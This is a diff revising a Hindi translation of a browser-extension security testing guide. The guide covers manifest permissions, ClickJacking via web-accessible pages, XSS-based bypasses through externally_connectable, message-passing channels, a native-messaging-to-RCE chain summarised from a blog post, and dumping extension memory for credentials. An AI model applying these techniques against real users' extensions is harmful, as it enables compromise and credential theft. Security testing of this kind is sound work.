संचार:** पृष्ठभूमि पृष्ठ के समान, ये पृष्ठ सामग्री स्क्रिप्ट से संदेश प्राप्त कर सकते हैं, जिससे एक्सटेंशन के भीतर इंटरैक्शन को सुविधाजनक बनाया जा सकता है। - **एक्सटेंशन-विशिष्ट APIs तक पहुँच:** इन पृष्ठों को एक्सटेंशन-विशिष्ट APIs तक व्यापक पहुँच प्राप्त होती है, जो एक्सटेंशन के लिए परिभाषित अनुमतियों के अधीन होती है। ### `permissions` & `host_permissions` -**`permissions`** और **`host_permissions`** `manifest.json` से प्रविष्टियाँ हैं जो **यह संकेत करेंगी कि** ब्राउज़र एक्सटेंशन के पास **कौन सी अनुमतियाँ** हैं (स्टोरेज, स्थान...) और **कौन से वेब पृष्ठों** पर। +**`permissions`** और **`host_permissions`** `manifest.json` से प्रविष्टियाँ हैं जो **यह संकेत करेंगी कि ब्राउज़र एक्सटेंशन के पास कौन सी अनुमतियाँ** हैं (स्टोरेज, स्थान...) और **कौन से वेब पृष्ठों पर**। चूंकि ब्राउज़र एक्सटेंशन **विशेषाधिकार प्राप्त** हो सकते हैं, एक दुर्भावनापूर्ण या एक जो समझौता किया गया हो, हमलावर को **संवेदनशील जानकारी चुराने और उपयोगकर्ता पर जासूसी करने के लिए विभिन्न साधनों की अनुमति दे सकता है**। @@ -276,7 +276,7 @@ CSP और संभावित बायपास के बारे मे ### `web_accessible_resources` -किसी वेबपेज को ब्राउज़र एक्सटेंशन के एक पृष्ठ, जैसे कि `.html` पृष्ठ, तक पहुँचने के लिए, इस पृष्ठ को `manifest.json` के **`web_accessible_resources`** क्षेत्र में उल्लेखित किया जाना चाहिए।\ +किसी वेबपेज को ब्राउज़र एक्सटेंशन के एक पृष्ठ, जैसे कि `.html` पृष्ठ, तक पहुँचने के लिए, इस पृष्ठ को `manifest.json` के **`web_accessible_resources`** क्षेत्र में उल्लेखित होना चाहिए।\ उदाहरण के लिए: ```javascript { @@ -305,10 +305,11 @@ chrome-extension:///message.html हालांकि, यदि `manifest.json` पैरामीटर **`use_dynamic_url`** का उपयोग किया जाता है, तो यह **id गतिशील हो सकता है**। > [!TIP] -> ध्यान दें कि यहां यदि किसी पृष्ठ का उल्लेख किया गया है, तो यह **ClickJacking के खिलाफ सुरक्षित** हो सकता है धन्यवाद **Content Security Policy** के। इसलिए ClickJacking हमले की पुष्टि करने से पहले इसे (frame-ancestors सेक्शन) भी जांचना आवश्यक है। +> ध्यान दें कि यहां यदि किसी पृष्ठ का उल्लेख किया गया है, तो यह **ClickJacking के खिलाफ सुरक्षित** हो सकता है धन्यवाद **Content Security Policy** के। इसलिए ClickJacking हमले की पुष्टि करने से पहले इसे (frame-ancestors अनुभाग) भी जांचना आवश्यक है। इन पृष्ठों तक पहुंचने की अनुमति होने से ये पृष्ठ **संभावित रूप से कमजोर ClickJacking** बन जाते हैं: + {{#ref}} browext-clickjacking.md {{#endref}} @@ -317,15 +318,15 @@ browext-clickjacking.md > इन पृष्ठों को केवल एक्सटेंशन द्वारा लोड करने की अनुमति देना और यादृच्छिक URLs द्वारा नहीं, ClickJacking हमलों को रोक सकता है। > [!CAUTION] -> ध्यान दें कि **`web_accessible_resources`** से पृष्ठ और एक्सटेंशन के अन्य पृष्ठ भी **पृष्ठभूमि स्क्रिप्ट से संपर्क करने में सक्षम** होते हैं। इसलिए यदि इनमें से कोई पृष्ठ **XSS** के प्रति संवेदनशील है, तो यह एक बड़ी कमजोरी खोल सकता है। +> ध्यान दें कि **`web_accessible_resources`** से पृष्ठ और एक्सटेंशन के अन्य पृष्ठ भी **पृष्ठभूमि स्क्रिप्ट से संपर्क करने में सक्षम** हैं। इसलिए यदि इनमें से कोई पृष्ठ **XSS** के लिए कमजोर है, तो यह एक बड़ी कमजोरी खोल सकता है। > -> इसके अलावा, ध्यान दें कि आप केवल **`web_accessible_resources`** में निर्दिष्ट पृष्ठों को iframes के अंदर खोल सकते हैं, लेकिन एक नए टैब से किसी भी पृष्ठ तक पहुंचना संभव है यदि एक्सटेंशन ID ज्ञात हो। इसलिए, यदि एक XSS पाया जाता है जो समान पैरामीटर का दुरुपयोग करता है, तो इसका दुरुपयोग किया जा सकता है भले ही पृष्ठ **`web_accessible_resources`** में कॉन्फ़िगर न किया गया हो। +> इसके अलावा, ध्यान दें कि आप केवल **`web_accessible_resources`** में निर्दिष्ट पृष्ठों को iframes के अंदर खोल सकते हैं, लेकिन एक नए टैब से एक्सटेंशन ID जानने पर किसी भी पृष्ठ तक पहुंचना संभव है। इसलिए, यदि एक XSS पाया जाता है जो समान पैरामीटर का दुरुपयोग करता है, तो इसका दुरुपयोग किया जा सकता है भले ही पृष्ठ **`web_accessible_resources`** में कॉन्फ़िगर न किया गया हो। ### `externally_connectable` -[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable) के अनुसार, `"externally_connectable"` मैनिफेस्ट प्रॉपर्टी यह घोषित करती है कि **कौन सी एक्सटेंशन और वेब पृष्ठ आपके एक्सटेंशन से [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) और [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) के माध्यम से कनेक्ट कर सकते हैं**। +[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable) के अनुसार, `"externally_connectable"` मैनिफेस्ट प्रॉपर्टी **यह घोषित करती है कि कौन सी एक्सटेंशन और वेब पृष्ठ आपके एक्सटेंशन से [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) और [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) के माध्यम से कनेक्ट कर सकते हैं**। -- यदि आपके एक्सटेंशन के मैनिफेस्ट में **`externally_connectable`** कुंजी **घोषित नहीं** की गई है या इसे **`"ids": ["*"]`** के रूप में घोषित किया गया है, तो **सभी एक्सटेंशन कनेक्ट कर सकते हैं, लेकिन कोई वेब पृष्ठ कनेक्ट नहीं कर सकता**। +- यदि **`externally_connectable`** कुंजी आपके एक्सटेंशन के मैनिफेस्ट में **घोषित नहीं** की गई है या इसे **`"ids": ["*"]`** के रूप में घोषित किया गया है, तो **सभी एक्सटेंशन कनेक्ट कर सकते हैं, लेकिन कोई वेब पृष्ठ कनेक्ट नहीं कर सकता**। - यदि **विशिष्ट IDs निर्दिष्ट की गई हैं**, जैसे `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, तो **केवल वही एप्लिकेशन** कनेक्ट कर सकते हैं। - यदि **matches** निर्दिष्ट किए गए हैं, तो वे वेब ऐप्स कनेक्ट करने में सक्षम होंगे: ```json @@ -338,11 +339,11 @@ browext-clickjacking.md यहां निर्दिष्ट **कम एक्सटेंशन और URL** होने पर, **हमला सतह** **छोटी** होगी। > [!CAUTION] -> यदि एक वेब पृष्ठ **XSS या टेकओवर के लिए संवेदनशील** है और इसे **`externally_connectable`** में निर्दिष्ट किया गया है, तो एक हमलावर **पृष्ठभूमि स्क्रिप्ट को सीधे संदेश भेजने** में सक्षम होगा, पूरी तरह से कंटेंट स्क्रिप्ट और इसके CSP को बायपास करते हुए। +> यदि कोई वेब पृष्ठ **XSS या टेकओवर के लिए संवेदनशील** है और इसे **`externally_connectable`** में निर्दिष्ट किया गया है, तो एक हमलावर **पृष्ठभूमि स्क्रिप्ट** को सीधे **संदेश भेजने** में सक्षम होगा, पूरी तरह से कंटेंट स्क्रिप्ट और इसके CSP को बायपास करते हुए। > > इसलिए, यह एक **बहुत शक्तिशाली बायपास** है। > -> इसके अलावा, यदि क्लाइंट एक रॉग एक्सटेंशन स्थापित करता है, भले ही इसे संवेदनशील एक्सटेंशन के साथ संवाद करने की अनुमति न हो, यह **एक अनुमत वेब पृष्ठ में XSS डेटा** इंजेक्ट कर सकता है या **`WebRequest`** या **`DeclarativeNetRequest`** APIs का दुरुपयोग कर सकता है ताकि लक्षित डोमेन पर अनुरोधों में हेरफेर किया जा सके, एक पृष्ठ के अनुरोध को **JavaScript फ़ाइल** के लिए बदल दिया जा सके। (ध्यान दें कि लक्षित पृष्ठ पर CSP इन हमलों को रोक सकता है)। यह विचार [**इस लेख से**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) आया है। +> इसके अलावा, यदि क्लाइंट एक रॉग एक्सटेंशन स्थापित करता है, भले ही इसे संवेदनशील एक्सटेंशन के साथ संवाद करने की अनुमति न हो, यह **XSS डेटा को एक अनुमत वेब पृष्ठ में** इंजेक्ट कर सकता है या **`WebRequest`** या **`DeclarativeNetRequest`** APIs का दुरुपयोग कर सकता है ताकि लक्षित डोमेन पर अनुरोधों में हेरफेर किया जा सके, एक पृष्ठ के अनुरोध को **JavaScript फ़ाइल** के लिए बदलते हुए। (ध्यान दें कि लक्षित पृष्ठ पर CSP इन हमलों को रोक सकता है)। यह विचार [**इस लेख से**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) आया है। ## संचार सारांश @@ -352,9 +353,9 @@ browext-clickjacking.md ### एक्सटेंशन के अंदर -आम तौर पर **`chrome.runtime.sendMessage`** का उपयोग एक्सटेंशन के अंदर एक संदेश भेजने के लिए किया जाता है (आमतौर पर `background` स्क्रिप्ट द्वारा संभाला जाता है) और इसे प्राप्त करने और संभालने के लिए एक श्रोता घोषित किया जाता है जो **`chrome.runtime.onMessage.addListener`** को कॉल करता है। +आमतौर पर **`chrome.runtime.sendMessage`** का उपयोग एक्सटेंशन के अंदर एक संदेश भेजने के लिए किया जाता है (आमतौर पर `background` स्क्रिप्ट द्वारा संभाला जाता है) और इसे प्राप्त करने और संभालने के लिए एक श्रोता घोषित किया जाता है जो **`chrome.runtime.onMessage.addListener`** को कॉल करता है। -यह **`chrome.runtime.connect()`** का उपयोग करके एक स्थायी कनेक्शन बनाने के लिए भी संभव है, इसके बजाय एकल संदेश भेजने के, इसे **संदेश भेजने** और **प्राप्त करने** के लिए उपयोग किया जा सकता है जैसे कि निम्नलिखित उदाहरण में: +यह **`chrome.runtime.connect()`** का उपयोग करके एक स्थायी कनेक्शन बनाने के लिए भी संभव है, इसके बजाय एकल संदेश भेजने के, इसे **संदेश** भेजने और **प्राप्त करने** के लिए उपयोग किया जा सकता है जैसे कि निम्नलिखित उदाहरण में:
@@ -393,11 +394,11 @@ console.log("Content script received message from background script:", msg) ### अनुमति प्राप्त `externally_connectable` से एक्सटेंशन तक -**वेब ऐप्स और बाहरी ब्राउज़र एक्सटेंशन** जो `externally_connectable` कॉन्फ़िगरेशन में अनुमति प्राप्त हैं, अनुरोध भेज सकते हैं: +**वेब ऐप्स और बाहरी ब्राउज़र एक्सटेंशन** जो `externally_connectable` कॉन्फ़िगरेशन में अनुमति प्राप्त हैं, का उपयोग करके अनुरोध भेज सकते हैं: ```javascript chrome.runtime.sendMessage(extensionId, ... ``` -जहाँ **extension ID** का उल्लेख करना आवश्यक है। +जहां **extension ID** का उल्लेख करना आवश्यक है। ### Native Messaging @@ -413,7 +414,7 @@ console.log("Received " + response) ``` ## Web **↔︎** Content Script Communication -जहाँ **content scripts** काम करते हैं और जहाँ होस्ट पृष्ठ मौजूद हैं, वे एक-दूसरे से **अलग** हैं, जो **अलगाव** सुनिश्चित करता है। इस अलगाव के बावजूद, दोनों के पास पृष्ठ के **Document Object Model (DOM)** के साथ बातचीत करने की क्षमता है, जो एक साझा संसाधन है। होस्ट पृष्ठ को **content script** के साथ संवाद करने के लिए, या अप्रत्यक्ष रूप से content script के माध्यम से एक्सटेंशन के साथ, आवश्यक है कि वे दोनों पक्षों द्वारा सुलभ **DOM** का उपयोग करें जो संवाद चैनल के रूप में कार्य करता है। +जहाँ **content scripts** कार्य करते हैं और जहाँ होस्ट पृष्ठ मौजूद होते हैं, वे एक-दूसरे से **अलग** होते हैं, जिससे **अलगाव** सुनिश्चित होता है। इस अलगाव के बावजूद, दोनों के पास पृष्ठ के **Document Object Model (DOM)** के साथ बातचीत करने की क्षमता होती है, जो एक साझा संसाधन है। होस्ट पृष्ठ को **content script** के साथ संवाद करने के लिए, या अप्रत्यक्ष रूप से content script के माध्यम से एक्सटेंशन के साथ, उस **DOM** का उपयोग करना आवश्यक है जो दोनों पक्षों द्वारा सुलभ है, जो संवाद चैनल के रूप में कार्य करता है। ### Post Messages ```javascript:content-script.js @@ -454,11 +455,12 @@ false - **`event.isTrusted`**: यह केवल तब सत्य है जब घटना उपयोगकर्ता की क्रिया द्वारा ट्रिगर की गई हो - सामग्री स्क्रिप्ट केवल तभी संदेश की अपेक्षा कर सकती है जब उपयोगकर्ता कुछ क्रिया करता है -- **origin domain**: केवल डोमेन की अनुमति सूची से संदेश की अपेक्षा कर सकता है। +- **origin domain**: केवल डोमेन की अनुमति सूची में संदेश की अपेक्षा कर सकती है। - यदि regex का उपयोग किया जाता है, तो बहुत सावधान रहें - **Source**: `received_message.source !== window` का उपयोग यह जांचने के लिए किया जा सकता है कि क्या संदेश **उसी विंडो से** था जहां सामग्री स्क्रिप्ट सुन रही है। -पिछली जांचें, भले ही की गई हों, कमजोर हो सकती हैं, इसलिए निम्नलिखित पृष्ठ पर **संभावित Post Message बायपास** की जांच करें: +पिछली जांचें, भले ही की गई हों, कमजोर हो सकती हैं, इसलिए निम्नलिखित पृष्ठ में **संभावित Post Message बायपास** की जांच करें: + {{#ref}} ../postmessage-vulnerabilities/ @@ -468,23 +470,25 @@ false संचार का एक और संभावित तरीका **Iframe URLs** के माध्यम से हो सकता है, आप इसका एक उदाहरण यहाँ पा सकते हैं: + {{#ref}} browext-xss-example.md {{#endref}} ### DOM -यह "सटीक" संचार का एक तरीका नहीं है, लेकिन **वेब और सामग्री स्क्रिप्ट को वेब DOM तक पहुंच होगी**। इसलिए, यदि **सामग्री स्क्रिप्ट** इससे कुछ जानकारी पढ़ रही है, **वेब DOM पर भरोसा करते हुए**, तो वेब इस डेटा को **संशोधित कर सकता है** (क्योंकि वेब पर भरोसा नहीं किया जाना चाहिए, या क्योंकि वेब XSS के प्रति संवेदनशील है) और **सामग्री स्क्रिप्ट को समझौता कर सकता है**। +यह "संचार का तरीका" नहीं है, लेकिन **वेब और सामग्री स्क्रिप्ट को वेब DOM तक पहुंच होगी**। इसलिए, यदि **सामग्री स्क्रिप्ट** इससे कुछ जानकारी पढ़ रही है, **वेब DOM पर भरोसा करते हुए**, वेब इस डेटा को **संशोधित कर सकता है** (क्योंकि वेब पर भरोसा नहीं किया जाना चाहिए, या क्योंकि वेब XSS के प्रति संवेदनशील है) और **सामग्री स्क्रिप्ट को समझौता कर सकता है**। आप एक **DOM आधारित XSS से ब्राउज़र एक्सटेंशन को समझौता करने** का एक उदाहरण भी यहाँ पा सकते हैं: + {{#ref}} browext-xss-example.md {{#endref}} ## सामग्री स्क्रिप्ट **↔︎** बैकग्राउंड स्क्रिप्ट संचार -एक सामग्री स्क्रिप्ट फ़ंक्शंस [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **या** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) का उपयोग करके **एक बार JSON-serializable** संदेश भेज सकती है। +एक सामग्री स्क्रिप्ट [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **या** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) का उपयोग करके **एक बार JSON-सीरियलाइज़ेबल** संदेश भेज सकती है। **प्रतिक्रिया** को संभालने के लिए, लौटाए गए **Promise** का उपयोग करें। हालांकि, पीछे की संगतता के लिए, आप अभी भी अंतिम तर्क के रूप में एक **callback** पास कर सकते हैं। @@ -509,7 +513,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" }) console.log(response) })() ``` -**प्राप्ति के अंत** पर, आपको संदेश को संभालने के लिए एक [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **इवेंट लिसनर** सेटअप करना होगा। यह एक सामग्री स्क्रिप्ट या एक्सटेंशन पृष्ठ से समान दिखता है। +**प्राप्ति पक्ष** पर, आपको संदेश को संभालने के लिए एक [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **इवेंट लिसनर** सेटअप करना होगा। यह एक सामग्री स्क्रिप्ट या एक्सटेंशन पृष्ठ से समान दिखता है। ```javascript // From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) { @@ -525,11 +529,11 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) एक महत्वपूर्ण विचार यह है कि उन परिदृश्यों में जहां कई पृष्ठ `onMessage` इवेंट प्राप्त करने के लिए सेट किए गए हैं, **विशिष्ट इवेंट के लिए `sendResponse()`** निष्पादित करने वाला पहला पृष्ठ ही प्रभावी रूप से प्रतिक्रिया देने में सक्षम होगा। उसी इवेंट के लिए किसी भी बाद की प्रतिक्रियाओं पर विचार नहीं किया जाएगा। -नई एक्सटेंशन बनाते समय, वादों की ओर प्राथमिकता होनी चाहिए न कि कॉलबैक की। कॉलबैक के उपयोग के संबंध में, `sendResponse()` फ़ंक्शन केवल तभी मान्य माना जाता है जब इसे सीधे समकालिक संदर्भ में निष्पादित किया जाए, या यदि इवेंट हैंडलर असमकालिक संचालन को `true` लौटाकर इंगित करता है। यदि कोई भी हैंडलर `true` नहीं लौटाता है या यदि `sendResponse()` फ़ंक्शन को मेमोरी से हटा दिया जाता है (गारबेज-कलेक्टेड), तो डिफ़ॉल्ट रूप से `sendMessage()` फ़ंक्शन से संबंधित कॉलबैक को ट्रिगर किया जाएगा। +नई एक्सटेंशन बनाते समय, वादों की ओर प्राथमिकता होनी चाहिए न कि कॉलबैक की। कॉलबैक के उपयोग के संबंध में, `sendResponse()` फ़ंक्शन केवल तभी मान्य माना जाता है जब इसे सीधे समकालिक संदर्भ में निष्पादित किया जाए, या यदि इवेंट हैंडलर असमकालिक संचालन को `true` लौटाकर इंगित करता है। यदि कोई भी हैंडलर `true` नहीं लौटाता है या यदि `sendResponse()` फ़ंक्शन मेमोरी से हटा दिया जाता है (गारबेज-कलेक्टेड), तो डिफ़ॉल्ट रूप से `sendMessage()` फ़ंक्शन से संबंधित कॉलबैक को ट्रिगर किया जाएगा। ## Native Messaging -ब्राउज़र एक्सटेंशन **stdin के माध्यम से सिस्टम में बाइनरी के साथ संवाद** करने की अनुमति भी देते हैं। एप्लिकेशन को एक json स्थापित करना चाहिए जो इस बात को इंगित करता है जैसे: +ब्राउज़र एक्सटेंशन **stdin के माध्यम से सिस्टम में बाइनरी के साथ संवाद** करने की अनुमति भी देते हैं। एप्लिकेशन को इस बात का संकेत देने वाला एक json स्थापित करना चाहिए जैसे: ```json { "name": "com.my_company.my_application", @@ -539,14 +543,14 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"] } ``` -जहाँ `name` वह स्ट्रिंग है जो [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) या [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) को एप्लिकेशन के साथ संवाद करने के लिए ब्राउज़र एक्सटेंशन के बैकग्राउंड स्क्रिप्ट से पास किया जाता है। `path` बाइनरी का पथ है, केवल 1 मान्य `type` है जो stdio है (stdin और stdout का उपयोग करें) और `allowed_origins` उन एक्सटेंशनों को इंगित करता है जो इसे एक्सेस कर सकते हैं (और वाइल्डकार्ड नहीं हो सकता)। +जहाँ `name` वह स्ट्रिंग है जो [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) या [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) को एप्लिकेशन के साथ संवाद करने के लिए बैकग्राउंड स्क्रिप्ट्स से पास की जाती है। `path` बाइनरी का पथ है, केवल 1 मान्य `type` है जो stdio है (stdin और stdout का उपयोग करें) और `allowed_origins` उन एक्सटेंशनों को इंगित करता है जो इसे एक्सेस कर सकते हैं (और इसमें वाइल्डकार्ड नहीं हो सकता)। -Chrome/Chromium इस json को कुछ विंडोज रजिस्ट्री और macOS और Linux में कुछ पथों में खोजेगा (अधिक जानकारी के लिए [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) देखें)। +Chrome/Chromium इस json को कुछ विंडोज रजिस्ट्री और macOS और Linux में कुछ पथों में खोजेगा (अधिक जानकारी के लिए [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) में देखें)। > [!TIP] > ब्राउज़र एक्सटेंशन को इस संचार का उपयोग करने के लिए `nativeMessaing` अनुमति घोषित करने की भी आवश्यकता है। -यहाँ एक बैकग्राउंड स्क्रिप्ट कोड है जो एक नेटिव एप्लिकेशन को संदेश भेजता है: +यहाँ एक बैकग्राउंड स्क्रिप्ट कोड का उदाहरण है जो एक नेटीव एप्लिकेशन को संदेश भेजता है: ```javascript chrome.runtime.sendNativeMessage( "com.my_company.my_application", @@ -556,32 +560,32 @@ console.log("Received " + response) } ) ``` -In [**इस ब्लॉग पोस्ट**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/) में एक कमजोर पैटर्न जो स्थानीय संदेशों का दुरुपयोग करता है, प्रस्तावित किया गया है: +In [**इस ब्लॉग पोस्ट**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/) में, एक कमजोर पैटर्न जो नेटिव मैसेजेस का दुरुपयोग करता है, प्रस्तावित किया गया है: -1. ब्राउज़र एक्सटेंशन के लिए सामग्री स्क्रिप्ट के लिए एक वाइल्डकार्ड पैटर्न है। -2. सामग्री स्क्रिप्ट `sendMessage` का उपयोग करके पृष्ठभूमि स्क्रिप्ट को `postMessage` संदेश भेजती है। -3. पृष्ठभूमि स्क्रिप्ट संदेश को `sendNativeMessage` का उपयोग करके स्थानीय एप्लिकेशन को भेजती है। -4. स्थानीय एप्लिकेशन संदेश को खतरनाक तरीके से संभालता है, जिससे कोड निष्पादन होता है। +1. ब्राउज़र एक्सटेंशन के लिए कंटेंट स्क्रिप्ट का एक वाइल्डकार्ड पैटर्न है। +2. कंटेंट स्क्रिप्ट `sendMessage` का उपयोग करके बैकग्राउंड स्क्रिप्ट को `postMessage` संदेश भेजता है। +3. बैकग्राउंड स्क्रिप्ट `sendNativeMessage` का उपयोग करके संदेश को नेटिव एप्लिकेशन को भेजता है। +4. नेटिव एप्लिकेशन संदेश को खतरनाक तरीके से संभालता है, जिससे कोड निष्पादन होता है। -और इसके अंदर **किसी भी पृष्ठ से RCE में जाने का एक उदाहरण एक ब्राउज़र एक्सटेंशन का दुरुपयोग करते हुए समझाया गया है**। +और इसके अंदर **किसी भी पृष्ठ से RCE में जाने के लिए एक ब्राउज़र एक्सटेंशन का दुरुपयोग करने का उदाहरण समझाया गया है**। ## मेमोरी/कोड/क्लिपबोर्ड में संवेदनशील जानकारी -यदि एक ब्राउज़र एक्सटेंशन **संवेदनशील जानकारी को अपनी मेमोरी के अंदर संग्रहीत करता है**, तो इसे **डंप** किया जा सकता है (विशेष रूप से विंडोज मशीनों में) और इस जानकारी के लिए **खोजा** जा सकता है। +यदि एक ब्राउज़र एक्सटेंशन **अपनी मेमोरी के अंदर संवेदनशील जानकारी संग्रहीत करता है**, तो इसे **डंप** किया जा सकता है (विशेष रूप से विंडोज मशीनों में) और इस जानकारी के लिए **खोजा** जा सकता है। इसलिए, ब्राउज़र एक्सटेंशन की मेमोरी **सुरक्षित नहीं मानी जानी चाहिए** और **संवेदनशील जानकारी** जैसे क्रेडेंशियल्स या म्नेमोनिक वाक्यांश **संग्रहीत नहीं किए जाने चाहिए**। -बेशक, **कोड में संवेदनशील जानकारी न डालें**, क्योंकि यह **सार्वजनिक** होगी। +बेशक, **संवेदनशील जानकारी को कोड में न डालें**, क्योंकि यह **सार्वजनिक** होगी। -ब्राउज़र से मेमोरी को डंप करने के लिए आप **प्रक्रिया मेमोरी को डंप** कर सकते हैं या ब्राउज़र एक्सटेंशन की **सेटिंग्स** में जाकर **`Inspect pop-up`** पर क्लिक करें -> **`Memory`** अनुभाग में -> **`Take a snapshot`** और संवेदनशील जानकारी के लिए स्नैपशॉट के अंदर खोजने के लिए **`CTRL+F`** दबाएं। +ब्राउज़र से मेमोरी को डंप करने के लिए आप **प्रोसेस मेमोरी को डंप** कर सकते हैं या ब्राउज़र एक्सटेंशन की **सेटिंग्स** में जाकर **`Inspect pop-up`** पर क्लिक करें -> **`Memory`** सेक्शन में -> **`Take a snapshot`** और **`CTRL+F`** का उपयोग करके स्नैपशॉट के अंदर संवेदनशील जानकारी के लिए खोजें। -इसके अलावा, अत्यधिक संवेदनशील जानकारी जैसे म्नेमोनिक कुंजी या पासवर्ड **क्लिपबोर्ड में कॉपी करने की अनुमति नहीं दी जानी चाहिए** (या कम से कम इसे कुछ सेकंड में क्लिपबोर्ड से हटा दें) क्योंकि तब क्लिपबोर्ड की निगरानी करने वाली प्रक्रियाएँ उन्हें प्राप्त कर सकेंगी। +इसके अलावा, अत्यधिक संवेदनशील जानकारी जैसे म्नेमोनिक की या पासवर्ड **क्लिपबोर्ड में कॉपी करने की अनुमति नहीं दी जानी चाहिए** (या कम से कम कुछ सेकंड में इसे क्लिपबोर्ड से हटा दें) क्योंकि तब क्लिपबोर्ड की निगरानी करने वाली प्रक्रियाएँ उन्हें प्राप्त कर सकेंगी। ## ब्राउज़र में एक एक्सटेंशन लोड करना -1. **ब्राउज़र एक्सटेंशन डाउनलोड करें** और अनज़िप करें -2. **`chrome://extensions/`** पर जाएं और `Developer Mode` को **सक्रिय करें** -3. **`Load unpacked`** बटन पर क्लिक करें +1. **ब्राउज़र एक्सटेंशन डाउनलोड करें** और अनज़िप करें। +2. **`chrome://extensions/`** पर जाएं और `Developer Mode` को **सक्रिय करें**। +3. **`Load unpacked`** बटन पर क्लिक करें। **फायरफॉक्स** में आप **`about:debugging#/runtime/this-firefox`** पर जाते हैं और **`Load Temporary Add-on`** बटन पर क्लिक करते हैं। @@ -591,7 +595,7 @@ In [**इस ब्लॉग पोस्ट**](https://spaceraccoon.dev/univers ### कमांड लाइन के माध्यम से ZIP के रूप में एक्सटेंशन डाउनलोड करें -एक Chrome एक्सटेंशन का स्रोत कोड कमांड लाइन का उपयोग करके ZIP फ़ाइल के रूप में डाउनलोड किया जा सकता है। इसमें एक विशिष्ट URL से ZIP फ़ाइल लाने के लिए `curl` का उपयोग करना और फिर ZIP फ़ाइल की सामग्री को एक निर्देशिका में निकालना शामिल है। यहाँ कदम हैं: +एक Chrome एक्सटेंशन का स्रोत कोड कमांड लाइन का उपयोग करके ZIP फ़ाइल के रूप में डाउनलोड किया जा सकता है। इसमें `curl` का उपयोग करके एक विशिष्ट URL से ZIP फ़ाइल लाना और फिर ZIP फ़ाइल की सामग्री को एक निर्देशिका में निकालना शामिल है। यहाँ कदम हैं: 1. `"extension_id"` को एक्सटेंशन के वास्तविक ID से बदलें। 2. निम्नलिखित कमांड निष्पादित करें: @@ -600,34 +604,34 @@ extension_id=your_extension_id # Replace with the actual extension ID curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc" unzip -d "$extension_id-source" "$extension_id.zip" ``` -### CRX Viewer वेबसाइट का उपयोग करें +### CRX व्यूअर वेबसाइट का उपयोग करें [https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/) -### CRX Viewer एक्सटेंशन का उपयोग करें +### CRX व्यूअर एक्सटेंशन का उपयोग करें -एक और सुविधाजनक तरीका Chrome Extension Source Viewer का उपयोग करना है, जो एक ओपन-सोर्स प्रोजेक्ट है। इसे [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) से इंस्टॉल किया जा सकता है। व्यूअर का सोर्स कोड इसके [GitHub repository](https://github.com/Rob--W/crxviewer) में उपलब्ध है। +एक और सुविधाजनक तरीका है Chrome एक्सटेंशन सोर्स व्यूअर का उपयोग करना, जो एक ओपन-सोर्स प्रोजेक्ट है। इसे [Chrome वेब स्टोर](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) से स्थापित किया जा सकता है। व्यूअर का सोर्स कोड इसके [GitHub रिपॉजिटरी](https://github.com/Rob--W/crxviewer) में उपलब्ध है। -### स्थानीय रूप से इंस्टॉल किए गए एक्सटेंशन का सोर्स देखें +### स्थानीय रूप से स्थापित एक्सटेंशन का सोर्स देखें -स्थानीय रूप से इंस्टॉल किए गए Chrome एक्सटेंशन को भी निरीक्षण किया जा सकता है। यहाँ बताया गया है: +स्थानीय रूप से स्थापित Chrome एक्सटेंशन को भी निरीक्षण किया जा सकता है। यहाँ यह कैसे करें: -1. अपने Chrome स्थानीय प्रोफ़ाइल डायरेक्टरी तक पहुँचने के लिए `chrome://version/` पर जाएँ और "Profile Path" फ़ील्ड को खोजें। -2. प्रोफ़ाइल डायरेक्टरी के भीतर `Extensions/` उपफ़ोल्डर पर जाएँ। -3. इस फ़ोल्डर में सभी इंस्टॉल किए गए एक्सटेंशन होते हैं, आमतौर पर उनके सोर्स कोड के साथ एक पठनीय प्रारूप में। +1. `chrome://version/` पर जाकर अपने Chrome स्थानीय प्रोफ़ाइल निर्देशिका तक पहुँचें और "Profile Path" फ़ील्ड को खोजें। +2. प्रोफ़ाइल निर्देशिका के भीतर `Extensions/` उपफोल्डर पर जाएँ। +3. इस फ़ोल्डर में सभी 